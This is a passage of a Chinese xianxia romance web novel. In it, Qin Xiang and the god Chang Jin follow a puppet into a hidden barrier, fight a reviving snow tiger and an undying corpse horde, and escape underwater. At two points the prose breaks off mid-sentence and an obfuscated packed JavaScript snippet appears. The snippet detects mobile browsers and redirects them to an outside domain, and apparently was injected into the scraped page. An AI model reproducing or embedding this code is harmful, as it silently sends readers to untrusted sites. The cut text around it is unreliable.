经了这一遭后,秦湘更加不敢看长锦了,坐在一旁一口一口尴尬地啃着手中的牡丹糕,不争气地心乱如麻。她也不知为何,方才根本没过脑子,就自然而然地将那块牡丹糕递了过去,她也只是想让他尝一尝,然后递到了他唇边。 而让她没想到的是长锦竟然也没反应过来,自然而然地便直接就着她的手吃了她喂过去的糕点。 两人都不敢将视线放在对方的脸上,于是便一同坐在这青石亭内,看着面前开得艳丽绝伦的一片牡丹,各怀心事地吃着手中的牡丹糕。 气氛一时又陷入了僵局,在吃完手中的牡丹糕后,长锦突然喊她:“秦湘。” 被长锦这么一喊,秦湘不由自主地打了个寒噤,她极力控制着自己的声音,却还是止不住地嘴唇发抖声音发颤,“嗯?怎么啦?” 长锦看着面前在微风中轻轻摇晃的牡丹,轻声问道:“你上午的比试怎么样?” 秦湘愣了一下,知他是在转移话题,想让现在这个僵硬的气氛活跃一下,于是便老实地点了点头回答道:“还行,没有遇到什么特别难对付的对手,如果不出意外,今天下午可能最后一场会是我和师兄的对决。” 周楚闵实力过人,大会魁首又只有一个,复试比到最后,就算两人同为腾岳之巅的人,也将必不可少地会进行一场最终的对决来选出魁首。长锦点了点头,“那下午的比试就在北赛场了吧?” “嗯,应该是吧,比到最后人越来越少,也就没必要开设那么多赛场了。” 两人说到这儿,又不知道该继续接些什么话茬了。 秦湘手指在桌下搅了搅,脑中一阵剧烈的头脑风暴,在她正要再挑起个什么话题来接着说时,就见身旁长锦耳朵一动,看着秦湘身后,豁然起身衣袖一挥,一道金光猛然挥出,他喝道:“谁?!” 秦湘被他这突如其来的举动吓得一愣,也只一瞬,便立刻反应了过来,警觉地转身朝着那边望去。 只见别院墙垣之上猛地出现了一个黑色身影,他身形高大挺拔,整张脸都淹没在斗篷的宽大帽檐之下,教人看不真切。 那黑衣人受了长锦这么一击,却仿佛没有受到任何影响般。他衣袖一挥,一道黑气朝着两人迅速袭来,长锦将秦湘护在身后,伸手一抓,那黑气便虚浮在了他的掌心。 两人朝着那团黑气定眼一看,答案不约而同地响起在了两人心中,魔气。 黑气在长锦手心无火自燃,化为了氤氲水汽消失不见。而那墙垣之上的黑衣人见状,却发出了一声轻笑,旋即转身,脚尖一点双手展开,几个起落之间便消失在了两人面前。 长锦丝毫不犹豫,拍拍秦湘的肩膀,留下一句我去看看,便朝着那黑衣人消失的方向飞掠而去。 秦湘在原地顿了一会儿,也没再想太多,一个纵身便跟了上去。 长锦毕竟是神,不需要轻功也能腾云驾雾御风而行。秦湘用轻功追了一半,看着长锦的身影越来越远越来越远,于是随即挥手召来了烈云剑,御剑便很快追上了远处的长锦,她喊道:“神君!等等我!” 长锦闻声偏头,满脸惊愕:“你怎么来了?你等会儿不是还有比试吗?!” “比试不重要,魔气更重要,而且我不去魁首也会是师兄,横竖都是我们腾岳之巅的,不要紧。”秦湘一边御着剑,一边与长锦搭话,“更何况我现在更好奇方才的那个到底是什么人!” 既然秦湘都已经这么说了,长锦便也不再多言了,两人一个御剑一个御风,跟着那在前狂奔的黑衣人飞掠而去。眨眼功夫,几个起落两人便跟着那人进了一处密林,那人跑了一阵,反而不跑了,骤然停在两人面前,在他身后,是一层冰蓝色的透明结界。 两人停下脚步,在黑衣人面前落下。秦湘看着那层结界,一时之间也有些疑惑,苍龙山的后山密林之中,竟然会有这样一层结界,可在这里的这么些天里,她往这边看过不下十回,也未曾发觉过这东西。 那黑衣人面对着两人,一言不发,他抬起手掌,一团黑色的雾气在他掌心悠悠地上下飞舞着。下一秒,犹如之前一般,那雾气朝着两人猛然袭来,长锦眼神一凛,渡天神火凭空而出,也旋即迎上。一黑一红在空中相撞,神火炼化了魔气,朝着那人飞速掠去。 然而,那黑衣人却丝毫不躲,只见他的身影被渡天神火一席卷着,便迅速瘦瘪了下去,只余一件黑色的斗篷在火中悠悠打着转,最后飘落在地。 火光熄灭,秦湘走了过去,俯下身去,仔细打量着那件黑色斗篷。 她盯着那斗篷看了片刻,然后用剑尖挑开,只见那衣襟之中赫然抖落出了一张黄色的符箓。秦湘皱着眉头看了几眼,低声道:“傀儡术。” 长锦也走了过来,看着地上那张黄符若有所思。正沉默着,面前的结界却突然发出了一阵“轰隆隆”的声音,下一秒,一个蓝色星辰漩涡便这样出现在了两人面前。 两人对视了一眼,秦湘道:“这人这么大费周章地将我们引过来,要不要进去看看。” “走吧,来都来了,进去又有何妨,我倒想看看他到底想耍什么花招。”长锦说着,便走在前,秦湘一顿,旋即跟上。 秦湘和长锦就这样踏进了那结界之中,走了大约有一盏茶的功夫,一大片绿得发亮的爬山藤便映入了两人的眼帘,在一旁,还立着一棵巨大的老槐树,几只黑鸦正站在枝头,骨碌碌地盯着树下的两人。 “就没了?”看着面前堵了去路的石壁,秦湘有些发愣,“这里面什么也没有啊?真是见鬼了。” 长锦走了几步,左右看了看,“应该没这么简单,我们先找找吧,看看有没有什么机关之类的。” 两人沿着这石壁走了两圈,也将那槐树检查了好几遍,除了树干上和与槐树相对于的那块石壁中央浮着一层幽幽的蓝色光晕之外,并无其他。 秦湘摸了摸那石壁上的蓝色光晕,又走到大槐树下摸了摸那树干之上的光晕,却也没有发现这其中有什么端倪。她沉默了一会儿,于是便抱着手臂开始研究这槐树和这石壁之间的联系了。 照理说,那人能操控魔气,必定是那幕后之人的其中之一。 可他却并没有直接和他们开战,反而大费周章地用傀儡术将她和长锦引了过来,而且这么久了,也没见什么埋伏。如果不是为了与他们开战的话,那就只剩一种可能了,这个结界之中,一定有什么东西是那人想让他们看见发现的。 秦湘看了看那石壁,又看了看树干,忽然之间福至心灵。如果摸完这个再摸另一个不行,那同时触摸两个呢? 说实践便实践,秦湘兴奋地唤了唤还在一旁观察那满石壁爬山藤的长锦,“神君!” “怎么了?”长锦回头看向她。 秦湘站在老槐树下,伸手指了指对面石壁上的蓝色光晕,说道:“神君,你站过去,等下和我同时将手放在这光晕上,看看会有什么变化没有。” 长锦一顿,明白了她的意思,点了点头应了声好便抬脚走了过去,站在石壁前,将手虚虚地放在那蓝色光晕上,转头问道:“开始了吗?” “嗯嗯,可以了,我数三二一,我们就同时开始放,三、二、一——” 话音一落,两人同时将手放在了那蓝色光晕之上。只见两束蓝色的光线直接透过两人的掌心从那处折射了出来,在空中相交连成一线。这时,两人手下的那块光晕也开始慢慢起了变化,变成了一块能上下活动的钮扣机关,期间还不断有寒气从中冒出渗入两人的掌心。 随着两人一同按下,只听闻“吱呀”一声,石壁上的爬山藤自发地向两边分开,一扇巨大的石门便这样凭空出现在了两人面前。 秦湘一顿,收回了手,忙走到长锦身边。石门缓缓地打开了,里面是伸手不见五指的黑,也不知道到底有多大又有多深。 两人对视了一眼,又点了点头,便并肩而行走进了这山洞之中,甫一进去,身后那扇石门就轰然关合。秦湘心中一咯噔,自从经历了妖魔镜幻境的那一回,只要是陷入黑暗之中就会让她产生出一种十分被动的感觉。于是慌忙之下只能伸手在黑暗中左右摸索,并急急地唤道:“神君?” “我在。”黑暗中,随着长锦声音一并过来的还有他的手,他应着,顺手就将秦湘的手拉在了掌心里。一簇金红色的火焰凭空而起,漂浮在了两人身边,长锦的脸也出现在了秦湘面前,他握了握她的指尖,像是安慰般地朝她温声道,“没事,别怕,放心地走吧,我会跟在你身边的。” “嗯,走吧。”秦湘一心都记挂在这密室上,自然也就没多想她和长锦此时的动作。 有了火光的照亮,这石门内的景象自然也就一览无余了。摆在两人面前的是一条看不见尽头的单行道路,左右两侧是石壁,身后石门已经关闭,所以不需要任何纠结,只管顺着这条路一直往前走便是了。 不知走了多久,越往前走,秦湘就越觉得面前似乎有寒气正朝着两人袭来。且走得越进去,这寒气似乎就越发地肆意,像是要浸入人骨子里般。 又是一阵寒风袭来,秦湘鼻子一痒 ,赶紧偏了偏头,打了两个喷嚏。长锦见状,停住脚步,连忙道:“没事吧?” 秦湘吸了吸鼻子,又摇了摇头,寒风吹起了两人的鬓发,她一个激灵,转头道,“神君,你有没有觉得越走越冷了?” “是有些,不过对我影响不大,你若是冷,我可以将我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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正疑惑着,一阵“轰隆轰隆”的怪异巨响从两人脚下传了过来,随即一个巨大的圆形图案在两人身下不断扩大,图案渐渐清晰,是一只全身如雪的白色巨虎。 与此同时,两人身后也传来“嘎登”一声,一层厚实的冰壁也自上而下将他们来时的那个洞口堵上了,此时此刻,这洞穴就更像是个牢笼了,不对,是个斗兽场。 秦湘和长锦几乎同时起身,长身飞掠离去,稳稳当当地落在那图案之外的地面上,然后召出长剑,警惕地看着面前的图案。 在两人面前,那图案越来越亮,伴随着那阵巨响,一只庞大的毛爪从那光华之中破壁而出,随后而出的是那东西的头,背,尾。不稍片刻,图案淡去,那沉重庞大的身躯也完全出现在了两人眼前。 那是一只足足有三人高的巨大虎妖,皮毛通体雪白,上边散布着黑色条纹,眸色碧蓝如冰,四枚獠牙长而尖锐,犹如锋利的刀剑,在冰洞中闪着幽幽的寒光。 巨虎在两人面前踱着方步,目光炯炯,眼神死死地盯着面前的秦湘与长锦。它张开那血盆大口,发出一声震耳欲聋的虎啸,而后,前爪在地上一按,身体朝前猛地一纵,丝毫不犹豫地便朝着两人扑了过来。 两人一左一右,朝着旁边掠开了几尺,将那狂扑过来的巨虎让了过去。此时还有什么不明白的,这冰洞就是用来养这老虎的,而那些动物和人啊,就是投喂这老虎的食物。 巨虎扑在两人方才停留的地方,爪子猛扑在冰面上,留下一个足足有十寸深的巨大兽爪印。 秦湘一边观察那巨虎,一边对长锦道:“神君,我想起来了,我在大妖异兽录上曾见过这白虎的描述……” 长锦则一边躲避着它的攻击,一边问道:“这是什么?” “这东西名叫雪域白虎,是一种大妖,生活在北方极寒之地雪域深处的巨兽,力大无穷,掌握寒冰系力量,可以操控周围的冰雪,若是被它释放出的冰锥攻击到了,就会瞬间结为冰雕。” 仿佛是要印证秦湘的话似的,那白虎的动作与反应都极快,见几击都没有命中两人,又调转了方向,仰天长啸了一声。 在它张开的大嘴之间,一个冰蓝色的球形灵力光波渐渐凝聚成型,下一秒,无数冰锥从它口中喷射而出。秦湘赶紧捏诀化了道结界抵挡住,大喊道:“神君,它的后背是视线盲区,而且弱点也在背脊之上,我来吸引它的注意力,你想办法绕到它的后背。” “没事,你保护好你自己就是了。”长锦说着,飞掠上前,掌心凝聚金光,结结实实地拍在了巨虎腹肋处。受了这么一击,巨虎口中那灵力波光也瞬间淡去,无数冰锥没了这法力的支撑,化成了水珠,噼里啪啦地落了下来。 55.雪域白虎 水珠如落石,在地上砸得砰砰作响。巨虎斜斜地飞了出去,狠狠地撞在了冰壁上,整个冰洞也随着微微颤抖了一瞬。长锦一个瞬移便追到了巨虎面前,在它还没反应过来之时,一个翻身就上了它的背部。 被人这么骑在背脊之上,白虎瞬间变得焦躁起来,它慌忙起身,左右来回跑动,腾跃转圈,试图将背上的人甩落下去。可长锦怎么会给它这个机会,他双腿夹紧它的腹部,一手揪住它背部的毛发,一手提着渡天长剑,长剑狠狠刺下,瞬间将它刺了个对穿。 白虎倒在了血泊里,可他们身后那扇冰壁却没有再打开,秦湘沉默了一会儿,道:“这白虎已经死了,可这冰壁却还没有打开,看来可能还会有什么东西突然冒出来,此地不宜久留,神君,我们快找找出去的洞口。” 两人在这冰洞之间又摸索了一阵,秦湘双指并拢自眼前扫过,待再次睁眼之时,冰壁还是毫无变化,没有任何障眼法。一旁的长锦也伸手贴在冰壁上,释放出一阵灵力,半晌,收回手,朝着秦湘摇摇头。 不是冰壁,那这法门到底在哪里?秦湘有些气馁地叹了口气,转过身,却突然发现方才倒着白虎尸体的地方干干净净,而那尸体竟然不翼而飞?! 秦湘眼睛都睁大了,她倒吸一口凉气,连忙不住地扒拉一旁的长锦,“神君,你快看,那白虎不见了!!” 长锦也转过身来,看着那方,在那里除了一开始那白虎留下的那巨大爪印之外,其余什么也没有。 面对这怪异的情况,两人还没来得及做出什么反应,就又听见一阵“轰隆轰隆”的巨响响起,与方才如初一辙的图案再次显现在了相同的位置,然后,那只不翼而飞的白虎又喘着粗气一步一步从那怪异图案之中走了出来。 “不是吧?还能这么玩的吗?”秦湘看着面前这只口角流涎的虎妖,不是方才那只又还能是哪一只? 长锦毫不犹豫,又提着渡天剑飞掠而上,不消片刻功夫,又将它斩于剑下。这次两人就站在一旁死盯着那白虎尸体看,只见那虎妖尸体渐渐地化为了一阵冰蓝色的细碎星光融于地面,然后不出一盏茶的功夫,那阵轰隆巨响又再次响起,那巨大图案又再次出现,而那白虎它又又又再一次从那图案之中走了出来。 秦湘与长锦对视一眼,一阵无言。这这这……这也太犯规了吧?无限复活,这要杀到什么时候才是个头?! “秦湘,我来对付它,你来找法门。”长锦说着,握紧了手中的剑,又再一次冲了上去与那巨虎纠缠。 “好。”秦湘此时只觉得是一个头两个大,但是也没有其他办法。于是两人开始了分工合作,一个对付那无限变态复活的虎妖,一个开始在这冰洞之中再次加大力度探索出去的洞口。 秦湘脑子飞速旋转着,极力压制住内心的慌乱,强逼自己越是紧急就越要冷静下来。 这雪域白虎生活在极寒之地,此时出现在这里本就是不寻常的,而且这冰洞里面除了这只白虎,还有其他动物和人的尸体。那黑衣人将他们引过来,就代表着这只白虎极有可能是他们豢养的,只是不知道被下了什么邪术禁术,竟然能死而复生无限复活,而且他们方才能进来,那定然就能出去,一定有什么东西被她忽略了。 到底是什么呢?秦湘左右张望,恰在此时,那被长锦杀死的白虎又从那散发着光华的图案之中走了出来,秦湘皱着眉头盯了一会儿,心中一动,立即冲了过去! 是的,她忽略了的东西就是这怪异的图案! 白虎不断被长锦斩于剑下,又不断从这图案之中走出,不入虎穴焉得虎子,而且那是最危险的地方,巨虎从这里出来之后图案就会渐渐消失,直到下次复活之时才会出现,所以这个点自然而然地就会被两人忽略了。此时趁着图案还未完全淡去,跑过去一看,这图案不就是一个传送法阵? 看着那渐渐消失的图案,秦湘大喜过望,赶紧抬头看向一边斩杀了白虎的长锦,大喊道:“神君,你快过来,我找到法门了!就是这个图案,这就是一个传送法阵!” 长锦二话不说,收了剑走了过来,看着面前什么也没有的地面,疑惑道:“什么也没有?” 秦湘道:“不要着急,因为那虎妖还没有消失的缘故,等它消失融于地下,再等过一盏茶的功夫,这传送法阵就会开启,然后我们就趁那虎妖还没出来之际,立马跳下去。” “好。”长锦毫不犹豫地应了,一手握着长剑,一手将秦湘护在身后。 “嗯?”闻言,秦湘一顿,颇为意外地抬头望向他,笑道,“神君你就这么相信我?万一我猜错了呢?” 长锦也偏头看向她,轻笑一声,“猜错了也没关系,大不了再杀它一次,我不会让你有事的。” 秦湘挑了挑眉,虽然她是开玩笑的,但听着长锦如此回答,她心中还是有些莫名的小欣喜雀跃。因为她这个人过于要强,从小到大,大部分时间里她觉得只有她将别人护在身后的份,极少有她需要站在别人身后的份。 她笑了一会儿,点了点头,故作柔弱地道:“行,那等会儿就麻烦神君保护我了,我一介弱女子,害怕得紧。” 两人又笑闹了两句,一盏茶功夫过后,那白虎尸体已经完全消失不见,与此同时,那阵熟悉的轰隆声从两人脚底下传来,秦湘拉住长锦的手,紧张道:“神君,准备,要来了。” 话音刚落,那图案又在地面上渐渐显现出来,站在那图案之上,待到白虎画面成型,两人同时感觉脚下地面一空。下一刻,便掉进了一个乌黑不见底的深渊之中,一阵天旋地转后,总算站在了实地之上。 秦湘赫然睁眼,下一秒,心中大骇,在即将惊呼出声之前便伸手死死地捂住了自己的嘴巴。 只见在她眼前,一张惨白的脸凑在她面前,与她离得极近,双目圆睁。方才她甫一睁眼,就与这东西来了个四目相对,纵然再胆大,突然来这么一下,也能给人吓死吧? 秦湘极力控制着自己此时想骂人的心情,捂住嘴巴,拉开了与这位尸兄的距离。视线没被东西遮掩,此时她才发现,在她和长锦面前,站着起码几百上千具这样的尸体。 秦湘悚然色变,方才没叫出来的尖叫声差点又要冲出喉咙了,她死死地咬住自己的手掌,才勉强稳住。长锦四下打量了一阵,轻轻拍了拍她,小声道:“没事,他们都是死人。” 秦湘点了点头,缓了好一阵子,那颗被吓了两跳剧烈震动的心脏才渐渐地恢复成了正常的频率。她和长锦一前一后,开始观察着周围的地形。 这又是一个宽阔巨大的地穴,不过周围的洞壁不再是那寒冰了,而是一个货真价实的石壁洞穴。洞穴的顶部镶嵌着上百颗大小不一的夜光石,夜光石散发着幽幽光华,将这地穴照得灿若白昼。洞穴中央,还是有着一潭清澈的池水,而池水旁边,乌泱泱地围站着一圈又一圈衣着各异的死尸。 两人在这地穴之中转悠了两圈,秦湘看着面前这具死尸,盯着他看了片刻,越看就越觉得瘆得慌。 这么多的尸体守在这,让她不由自主地想到了花溪镇中那受到魔气影响乍然起尸的死尸修士,与这密密麻麻站着的这群有着异曲同工的相似。想着那反反复复复活的白虎,秦湘脚步骤然一顿,猛地抬脸,惊道:“神君,你说这些死人不会都诈尸吧?” “极有可能,”长锦也伸出手指释放出灵气探了探,“他们身上残留着一丝邪气的痕迹,不知道是由什么东西操控的,我们得尽快找到出去的法门,不然久了可能就会像方才那只白虎一样地复活过来。” 这些人都已经死了,长锦所说的复活自然就是指诈尸。秦湘在脑海中想象了一下那幅荒唐诡异的场景,白虎无限复活好歹只有一只,而现在他们身边包围着的是成百上千具死尸,这要全部诈尸复活过来,再加一个无限复活的设定,那简直还要不要人活了?!就算不被他们杀死累也要累死吧?! 不敢再深想下去,秦湘搓搓手臂,抖落了一身的鸡皮疙瘩,连忙道:“走吧走吧,那我们不要浪费时间了,赶紧去找那个传送法阵吧。” 长锦点点头,两人在这地穴之中没头没脑地走了一圈又一圈,在把墙壁地面仔仔细细地又检查了一遍过后,秦湘蹲坐在那潭池水旁边,身心俱疲,叹了口气道:“真是奇了怪了,这个洞穴怎么比之前那个要玄乎那么多?里里外外都看遍了,什么也没有啊。” 长锦站在她身边,看着面前的水面出神,半晌,轻声道:“其实我们还有一个地方没检查过。” 秦湘闻言抬起脸,顺着长锦的视线望向那潭池水,问道:“你是说,这潭池水?” 这地穴之中的这潭池水似乎是一潭死水,水面平静不起一丝波澜,犹如一面巨大宽广的镜子,一眼望去看不见底,只倒映着顶端发着幽幽绿光的夜光石。 秦湘左右看了看,伸手从脚边捡了块碎石子扔了进去,这一扔犹如泥牛入海,没有任何波动。秦湘向来水性不行,掉进水里属于如果没人救基本只有死的份的那种,因此看着那没了任何回应的小碎石子,她十分为难地看向长锦,道:“神君,这可能……嗯……怎么说,有点难办,如果传送法阵真的在这水底的话……” “嗯?怎么说?”长锦一愣,看向她,问道,“你不会凫水?” 虽然很不想承认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038233|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但是秦湘不得不承认,这是除了做菜之外的另一件她不会的事。挣扎了一会儿,也只能点点头,小声道:“不会。”说完,她也不敢看长锦此时是个什么表情,是不是拖他后腿了?她也没有料到,跟那黑衣人来的明明是后山,是地穴,怎么会有水呢?还这么巧,可能极大几率要下水,真的太难为她了。 谁知却听见长锦说:“没事,不会也没事,问题不大。” 秦湘心中一动,正要说话,却忽地感觉一阵阴风袭来,她一抬头,冷不防地就与长锦身后的一具死尸来了个四目相对。 而这回,那尸体的眼神虽然浑浊,却不再是无光的了。见秦湘盯住了他,他竟然勾起嘴唇,朝她露出一个鬼气森森的笑容来。然后下一秒,五指利爪,朝着长锦的脖颈猛然袭了下去! “神君小心!!”秦湘悚然色变,一把站起身来,瞬间召出烈云剑,将长锦拉到身后的同时一剑刺出,眨眼之间就将那试图偷袭的死尸一击毙命。她“噗”地一声将剑拔了回来,还未来得及再开口说话,就闻见一阵“悉悉索索”的声音从四面八方传来,秦湘和长锦同时转身。 只见那些原本一动不动的死尸不知从什么时候开始竟然全部复活了过来,他们骨碌碌地转动着他们那双浑浊的眼睛,嘴角上扬,勾着一个鬼气森森的笑容,扭曲发白的脸被那夜光石幽幽的绿光这么一照,真是要多恐怖就有多恐怖。 而最恐怖的是,这些密密麻麻的死尸都在动,他们的眼神死死地锁定在了秦湘与长锦身上,口中发出一声嗥叫,然后下一刻,扬起利爪,朝着两人猛扑过来。 虽然这些死尸弱得不堪一击,但就如秦湘那时所想,他们虽弱,却有着“不死之躯”。 秦湘长剑一挥,烈云剑气夹杂着火焰扫出一道弯月似的红光,登时就将面前飞扑过来的一众死尸拦腰斩断,可不出一会儿的功夫,这些被拦腰斩断的死尸又缓慢地从地上扭曲直起,然后恢复原状,又重新扑了上来。 秦湘简直要疯,这真的就是没完没了了。甚至他们的复原时间还越来越短,已经到了不管是砍头还是腰斩还是大卸八块,都会在几秒时间内恢复如初的地步了。 长锦挥出一道剑气,炸开了一堆白骨死尸,然后朝着秦湘焦急道:“秦湘,这些尸体是杀不死的,我等会儿用渡天神火将它们炸开,然后我们就跳进水里去。” 虽然秦湘真的怕水,但此时也没有更好的应对之策了。她一脚将一个飞扑上来的死尸踹回了尸群当中,又反手补上了一剑,才准备回头应好。然而就在这时,一只死尸却一个猛子扑了上来,利爪擦过了秦湘的脖颈,秦湘心下一惊,错身躲过。 她才刚要松口气,却突然发现脖颈处轻飘飘的。她一愣,脑中有一瞬间的空白,平安锁,阿娘给她的平安锁不见了?! 秦湘这下是真的不能冷静下来了,那是她阿娘留给她的生辰礼物,她怎么能在这里把它弄丢了?她又惊又慌,又仔细想了一想,死尸,是了,方才有只死尸攻击了她的脖颈,定是那时被它的利爪勾下来了。 想到这儿,秦湘的目光在尸群中迅速掠过,去寻找着方才那只死尸的身影。在一阵疯狂的搜索之后,她终于看见了,那死尸正站在水边,摇摇晃晃地,而她的那块平安锁正缠绕在他的指尖上。 秦湘一喜,刚要过去,却突然有一截断手从天而降,猛地砸到了那具死尸头上。死尸被它这么一砸,连带着她的平安锁玉佩,生生地被它一头砸进了那潭池水当中。 “!!!”几乎是没有一秒犹豫的,秦湘收了烈云剑,一个箭步就冲了上去,然后纵身一跃,跳进了那潭池水当中。 她屏住呼吸,冰冷的池水从四面八方朝她袭来,秦湘眯着双眼,看着下沉得越来越快的平安锁,来不及再思索便朝着它扎了过去。玉佩毕竟没有人沉重,下浮的速度也没有人快,没过多久,秦湘便将它抓在了手中。 如果说方才她下水下得有多果断,那如今抓到了玉佩的她就有多后怕。秦湘闭紧了嘴,学着那些会游水的人在水中扑腾着双臂,可她的身体此时却重如千斤,无论如何也游不上去。 秦湘不由得焦急起来,不会今天她真就要交代在这里了吧?这个想法只在脑中过了一遍,就被她立刻甩了出去。不,不行,她不能死! 想到这儿,她又努力让自己冷静了下来,然后向上仰着头,手臂轻轻挥动。正准备再来一回试试看能不能浮上去之时,就听见上方传来了一声沉重的水响,水中激起了一阵密集的水花与水泡。 秦湘眨了眨眼,还未看清什么,忽然,一个青色的身影出现在了她的面前。 是长锦。 56.冰棺孤影 猛然见到长锦那张微微蹙眉的脸,秦湘心中一虚,波动极大。恰在此时她口中的这段闭气已是到达了极限,又受这么心情波动起伏一下,一不注意就张开了嘴巴,一时呛了几口水,“咕噜咕噜”的水晶气泡从她口中吐出。 窒息感也在这时如影而至,如同一只无形的大手,紧紧地扼住了她的喉咙。 这可不妙,秦湘再也无法冷静下来了,皱着眉头捂住喉咙挣扎着,一时手忙脚乱。 就在秦湘以为自己今天就要交代在这里的时候,有人握住了她的手,也搂住了她的腰。 秦湘眨眨眼,只看见长锦的脸距离自己越来越近,越来越近,下一刻,一双冰凉柔软的唇就堵上了她的嘴唇。 刹那间,秦湘神识尽碎。 只茫然无措地睁大着眼睛,感受着长锦的双唇紧紧贴着她的,一阵温和柔软的气流缓缓渡了过来。这个过程并没有持续太久,长锦双唇一分开,就搂着秦湘奋力地向上游去。 没过多久,二人猛然破水而出。一出水面,秦湘就一阵剧烈咳嗽,眼角也不住地流着被刺激到的生理性泪水。她双手紧攀着长锦的肩膀,大口喘息着。 等好不容易缓过了劲来,她才看到这池水此时正被一圈红色火焰包裹着,火光四溢,也将岸上的死尸围在其中,寸步难行。 腰被人紧紧搂着,秦湘顿了顿,在收回了视线的瞬间,她又猝不及防地对视上了长锦那双近在咫尺的眼睛。 长锦皱着眉,冷着脸,似乎有些微微动怒。 秦湘一怔,心中也“咯噔”了一下,她回想着方才发生的一系列事情,确实是有些不计后果的冲动了。于是她心虚地挪开了双眼,懦懦道:“对不起……” 长锦本来就已慌乱,方才在岸边,他一个转身,就看见秦湘一个猛子一头扎进了水池里。想着秦湘那时说过的她不会凫水这件事,霎时间就被吓得六神无主,魂飞魄散。以至于到如今就算秦湘已经平安无事,他都有点还没有缓过劲来,微怒道:“你不是不会凫水吗?你知不知道这水有多深?为什么招呼都不打一声你就跳了下来?你不要命了吗?!” 感受着长锦搂着她的手正在微微发着抖,秦湘微微愣神,还未及再反应过来,便被他一把抱进了怀中。秦湘两眼放空,双手紧紧压折在他的胸前,感受着他的一颗心脏此时正在一下一下地剧烈跳动着,良久,才小声道:“对不起,神君,你听我解释,这次是有原因的……” 闻言,长锦闭了闭眼,抱着她。半晌,才微微分开,看着她,不语。 秦湘看他稍微舒展了些的眉,这才举起右手。在她手中,紧紧地抓着一根红绳,红绳上,一块白玉云纹平安锁正散发着细腻温润的柔光。 秦湘温声道:“……这个是我阿娘送我的七岁生辰礼物,是她送我的最后一件礼物了,所以我不能把它弄丢。” 长锦看着那枚晶润洁白的玉佩,怔了一下,不过也只一瞬间,他便明白了,秦湘为何明明不会凫水还会毫不犹豫地跳下去的原因了。 他张了张嘴,踌躇片刻,才轻声道:“下次若还有这样的情况,你提前告诉我一声好吗?我真的,也会担心,也会害怕。” 秦湘闻言一顿,见他没有再生气了,心中才暗暗地松了一口气,点头应道:“好,不会有下次了,我向你保证。”说着,她又转头看了看,接着问道,“对了,神君,这群死尸怎么办?我们现在又要怎么办?总不能这么一直泡在水里吧?” 长锦道:“传送法阵在水底,等你再缓一会儿,我们再下去。” 闻言,秦湘人傻了一瞬,这法阵还真在水底啊。不是,设置这法阵的那人有病吧?他们自己下水去设置这玩意难道不费劲吗?就算设置不费劲,来来往往也要下水走不费劲吗? 但吐槽归吐槽,吐槽完了还是得下去。想着方才差点窒息憋死的那个场景,秦湘简直头皮发麻,晃晃脑袋就开始大口大口地呼吸着。 “你在干什么?”长锦看着她的动作,颇为好笑。 “在呼吸啊,”秦湘边呼吸边回答,“神君你不是说等下还要下水吗?这回我得先做好充足的准备先,多吸几口养气先,以免又出现那种养气不够的情况,到时候又要麻烦神君你……” 麻烦神君你做什么?像方才那样双唇紧贴给她渡气? 秦湘眨眨眼,话头戛然而止,人也呆住了。那时情况紧急,而且方才长锦又正在气头上,秦湘也没想那么多,只想着赶紧解释让他不要生气。 如今气消了,两人面对着面,一个搂着对方的腰,一个扶着对方的肩,姿势暧昧得不像话。 方才水下的那些画面骤然在脑海中又浮现了出来,秦湘眨了眨眼,整个人肉眼可见地便红温了起来。她僵硬了一瞬,然后瞬间不淡定了,一时间竟然也忘了此时自己是在水中,满脑子只有一个念头,死了算了,怎么还不死? 长锦看她捂着脸,藏着脑袋挣扎着,也回过神来。他收了收手臂,将人搂得更紧了些,稳住两人的身形,轻笑一声,温声道:“好了,秦湘你不要动。” 秦湘闻声定住,才猛地回过神来,如今的两人还在水中,她又不会浮水,整个重量全部压在了长锦身上。她这才又将手放了下来,又继续扶在长锦的肩膀上。 两人默默无言了一会儿,秦湘才听到长锦的声音从她的脑袋上方传来,“对不起,秦湘。” 秦湘闻声抬头,但只看了一眼就将眼睛挪开了,她也不知道自己怎么回事,只是下意识地不敢看他,心跳快得也不像话。将头埋在他肩膀处,良久,她觉得自己应该像是平复了一点了,这才含糊地道:“没事,神君你也是为了救我,是我反应太大了,不过我现在还是有点没缓过来,看见你我有点不对劲,你再等我一下,我有点慌,让我再平复一下……” 闻言,长锦一怔,半晌,才道:“好。” 秦湘不抬头,他也不催促,就这样搂着她。又过了好一会儿之后,秦湘才抬起头,做了个深呼吸道,“好了,我好了,现在没事了。”她说着,又问道,“对了,神君,我们不是要下水去找传送法阵吗?好了,可以走了,我已经准备好了。” 看着秦湘狠狠地吸了一口气,长锦一愣,失笑道:“不用这样。” “嗯?”秦湘不明白了,“不是要下水吗?不吸一口养气怎么能行?” 长锦不答,只是腾出一只手来,在空中结了个法印。只见一个透明泡泡就这样凭空出现在了两人上方,然后缓缓下浮,将两人从头到脚慢慢容纳在了其中,长锦手指一动,泡泡载着两人朝着水底飞涌而去。 秦湘眼睛都要看直了,方才的尴尬与不自然瞬间被她甩至脑后,看着四周的湖水在泡泡周围荡漾开来,发出一阵阵“咕噜噜”的声音,她激动地左右张望,然后转到长锦面前,问道:“我在水底?!不用凫水,也能呼吸?!这是什么法术啊?!也太神奇了吧?!” 长锦挑了挑眉,又想了想,一本正经地答道:“泡泡术?” “嗯?泡泡树?”秦湘眨了眨眼,“神君你认真的吗?” “认真的,本来也没有名字,但是你问我了,所以我方才给它想了一个,”长锦一边说着,一边用眼神指了指两人面前的泡泡,正经道,“你看,这是不是一个泡泡?所以它叫做泡泡术,是不是没有任何问题?” 